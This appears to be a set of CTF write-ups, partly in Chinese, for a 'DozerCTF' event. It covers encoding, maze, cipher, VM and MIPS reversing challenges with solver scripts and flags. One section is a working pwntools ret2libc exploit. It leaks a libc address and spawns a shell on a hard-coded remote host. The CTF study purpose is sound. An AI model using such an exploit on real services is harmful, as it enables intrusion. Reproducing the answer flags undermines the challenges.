base64 + base32 + hex + base58
Dozerctf{base_family_is_so_good}
from pwn import *
from LibcSearcher import LibcSearcher
remote_addr='118.31.11.216:36666'
remote_addr=remote_addr.split(':')
p=remote(remote_addr[0],int(remote_addr[1]))
elf=ELF('./pwn')
plt_write=elf.plt['write']
got_write=elf.got['write']
main_addr=0x804851F
#get GOT of write
p.recvline()
shellcode='a'*(0x6c+4)+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)
p.sendline(shellcode)
write_addr=p.recv(4)
write_addr=write_addr.rjust(4,'\x00')
print('get write_addr:'+hex(u32(write_addr)))
#get base_addr of libc
libc=LibcSearcher('write',u32(write_addr))
base_addr=u32(write_addr)-libc.dump('write')
print('get base_addr of libc:'+hex(base_addr))
#get shell
p.recvline()
sys_addr=libc.dump('system')+base_addr
bin_addr=libc.dump('str_bin_sh')+base_addr
shellcode='a'*(0x6c+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
p.sendline(shellcode)
p.interactive()
发现无法直接查看伪代码
查看伪代码
sub_4113C0函数通过遍历窗口名来检测调试器,方便后面调试,将其nop
整个程序的关键部分在sub_4111BD函数
查看伪代码,可以看到这里就是走迷宫的部分
地图
观察伪代码发现每走一步都会调用一个函数,这些函数会对WASD数组进行变换,使下一步键盘的方向发生变化
我们可以先找出方向不变化的路径,然后利用脚本找出方向变化后的输入
x = 'SSSSDDDWWWDDSSSSSAAAASSDDDDSSSDDWWWWDDDSSSSD' # 方向不变化时的路径
x = x.lower()
dire = ['W', 'A', 'S', 'D']
def hang_dec(): # 0
print(dire[0], end='')
# print(dire)
tmp = dire[0]
dire[0] = dire[2]
dire[2] = tmp
def lie_dec(): # 1
print(dire[1], end='')
# print(dire)
tmp = dire[0]
dire[0] = dire[1]
dire[1] = dire[2]
dire[2] = dire[3]
dire[3] = tmp
def hang_inc(): # 2
print(dire[2], end='')
# print(dire)
tmp = dire[3]
dire[3] = dire[1]
dire[1] = tmp
tmp = dire[0]
dire[0] = dire[2]
dire[2] = tmp
def lie_inc(): # 3
print(dire[3], end='')
# print(dire)
tmp = dire[3]
dire[3] = dire[2]
dire[2] = dire[1]
dire[1] = dire[0]
dire[0] = tmp
for i in x:
if i == 'w':
hang_dec()
elif i == 'a':
lie_dec()
elif i == 's':
hang_inc()
else:
lie_inc()
#SWSWDSAADAWADADADSAWDADWASDADASDDADAWASWSWSD
一个qt4写的程序,运行一直出错,直接静态逆了
IDA里面查看字符串,发现类似base64编码过的的字符串,下面又找到了修改过的base64 table
根据字符串找到了加密部分
分析得知先通过栅栏密码加密,然后使用修改过的base64进行编码
栅栏密码直接从网上找了一个
#include
#include
#include
#include
using namespace std;
char flag[100] = {'D', 'r', '{', '_', '_', 'g', '_', '!', 'o', 'c', 'o', 'm', 'i', 'o', 'm', '}', 'z', 't', 'l', 'a', 's', 'o', 'a', 'e', 'f', 'd', 'n', '_', 'd', 'n'};
void func(int a)//offset
{
char map[100][100] = {0};
int num = strlen(flag) / a;
int num1 = strlen(flag) % a;
int p = (num1 != 0) ? 1 : 0;
num += p;
int k = 0;
int tag = 0;
p = 0;
if (num1 != 0)
{
for (int i = 0; i < num1; i++)
{
for (int j = 0; j < num; j++)
{
if (p >= strlen(flag))
{
tag = 1;
break;
}
map[j][i] = flag[p];
p++;
}
if (tag == 1)
break;
}
for (int i = num1; i < a; i++)
{
for (int j = 0; j < num - 1; j++)
{
if (p >= strlen(flag))
{
tag = 1;
break;
}
map[j][i] = flag[p];
p++;
}
if (tag == 1)
break;
}
}
else
{
for (int i = 0; i < a; i++)
{
for (int j = 0; j < num; j++)
{
if (p >= strlen(flag))
{
tag = 1;
break;
}
map[j][i] = flag[p];
p++;
}
if (tag == 1)
break;
}
}
char str1[1024] = {0};
p = 0;
for (int i = 0; i < num; i++)
{
for (int j = 0; j < a; j++)
{
if (map[i][j] == 0)
{
continue;
}
str1[p++] = map[i][j];
}
}
for (int i = 0; i < 1024; i++)
printf("%c", str1[i]);
}
int main()
{
func(4);
return 0;
}
//Dozerctf{old_man_is_good_man!}
一个虚拟机,解释器看起来很复杂,但是查看opcode发现只使用了几个简单的功能
写了个简单的指令解释器
code=[0x0000C362,0x00009C40,0x00000000,0x0000C362
,0x00009C41,......,0x00000000]
eip=0
while True:
if code[eip]==0xC362:
print('reg%d=stack[%d]'%(code[eip+1]-0x9c40+1,code[eip+2]))
eip+=3
continue
elif code[eip]==0xC356:
print('xor reg%d , reg%d'%(code[eip+1]-0x9c40+1,code[eip+2]-0x9c40+1))
eip+=3
continue
elif code[eip]==0xC363:
print('check flag')
eip+=1
else:
break
得到代码
push 80
push 123
push 102
.....
push 101
push 45
push 105
reg1=0x40
reg2=0x1e
input
reg1=stack[0]
reg2=stack[64]
xor reg1 , reg2
check flag
reg1=stack[1]
reg2=stack[65]
xor reg1 , reg2
check flag
reg1=stack[2]
reg2=stack[66]
xor reg1 , reg2
check flag
reg1=stack[3]
reg2=stack[67]
xor reg1 , reg2
check flag
....
reg1=stack[26]
reg2=stack[90]
xor reg1 , reg2
check flag
reg1=stack[27]
reg2=stack[91]
xor reg1 , reg2
check flag
reg1=stack[28]
reg2=stack[92]
xor reg1 , reg2
check flag
reg1=stack[29]
reg2=stack[93]
xor reg1 , reg2
check flag
DozerCtf{Dozer_VM_is_so_easy!}
附件是x86 mips框架,用Ghidra打开
查看字符串时发现correct!和wrong!,找到引用的位置发现是main函数
查看伪代码得知,flag的格式和flag中的几个字母,flag长度为24
几个库函数的特征比较明显,直接猜即可
此时观察代码中某些地方,我们发现可以通过枚举来确定它们的值,程序的每一部分都可以枚举出几个字母,但要确定先后关系,最后将他们拼起来就可以得到flag
Ghidra生成的伪代码很规范,改动一小部分就可以正常跑起来
flag[0]=D
...
flag[7]=f
flag[8]={
flag[10]=u
flag[12]=_
flag[13]=i
flag[14]=s
flag[15]=_
#flag[16]=s
flag[17]=o
flag[18]=_
flag[19]=g
flag[20]=o
flag[21]=o
flag[22]=d
flag[23]=}
//Dozerctf{num_is_so_good}
部分枚举脚本
#include
#include
using namespace std;
unsigned int func(unsigned int a, unsigned int b)
{
unsigned int a1;
unsigned int a2;
unsigned int a3;
a3 = ~(a & b) & (a | b);
a3 = a3 | a3 >> 1;
a3 = a3 | a3 >> 2;
a3 = a3 | a3 >> 4;
a3 = a3 | a3 >> 8;
a3 = a3 | a3 >> 0x10;
a2 = ~(a3 & a3 >> 1) & (a3 | a3 >> 1) & a;
a2 = a2 | a2 >> 1;
a3 = a3 & 1 | (a3 & 1) << 1;
a2 = a2 | a2 >> 2;
a2 = a2 | a2 >> 4;
a3 = a3 | a3 << 2;
a2 = a2 | a2 >> 8;
a2 = a2 | a2 >> 0x10;
a3 = a3 | a3 << 4;
a1 = a2 | a2 << 1;
a1 = a1 | a1 << 2;
a3 = a3 | a3 << 8;
a1 = a1 | a1 << 4;
a1 = a1 | a1 << 8;
return (a2 & 1 | ~(a1 | a1 << 0x10)) & (a3 | a3 << 0x10);
}
int check(int a, int b)
{
unsigned int a3, a2, a5, a4;
a3 = 1;
a2 = a;
a5 = ~b;
do
{
a4 = a3 & a5;
a5 = a3 | a5;
a3 = a4 << 1;
a5 = ~a4 & a5;
} while (a3 != 0);
while (a5 != 0)
{
a3 = a2 & a5;
a2 = a2 | a5;
a5 = a3 << 1;
a2 = ~a3 & a2;
}
if (a2 != 0xffffffff)
return 0;
return 1;
}
int main()
{
for (int i = 0x20; i <= 0x80; i++)
for (int j = 0x20; j <= 0x80; j++)
if (check(i, j))
{
char flag[10] = {'{', 'x', 'u', 'x', '_', 'i', 's', '_'};
flag[1] = i;
flag[3] = j;
unsigned int uVar2, uVar5, uVar3;
uVar2 = 0;
char i = 0;
do
{
uVar5 = flag[i];
while (uVar5 != 0)
{
uVar3 = uVar2 & uVar5;
uVar2 = uVar2 | uVar5;
uVar5 = uVar3 << 1;
uVar2 = ~uVar3 & uVar2;
}
i++;
uVar5 = 0;
} while (i != 8);
if (uVar2 == 869)
{
cout << flag << endl;
}
}
// char *flag="so_good}";
// unsigned int uVar2,uVar5,uVar3;
// uVar2 = 0;
// char i = 0;
// do {
// uVar5 = flag[i];
// while (uVar5 != 0) {
// uVar3 = uVar2 & uVar5;
// uVar2 = uVar2 | uVar5;
// uVar5 = uVar3 << 1;
// uVar2 = ~uVar3 & uVar2;
// }
// i++;
// uVar5 = 0;
// } while (i != 8);
//
// cout<
//
// //3332+x-0x13cc=871
return 0;
}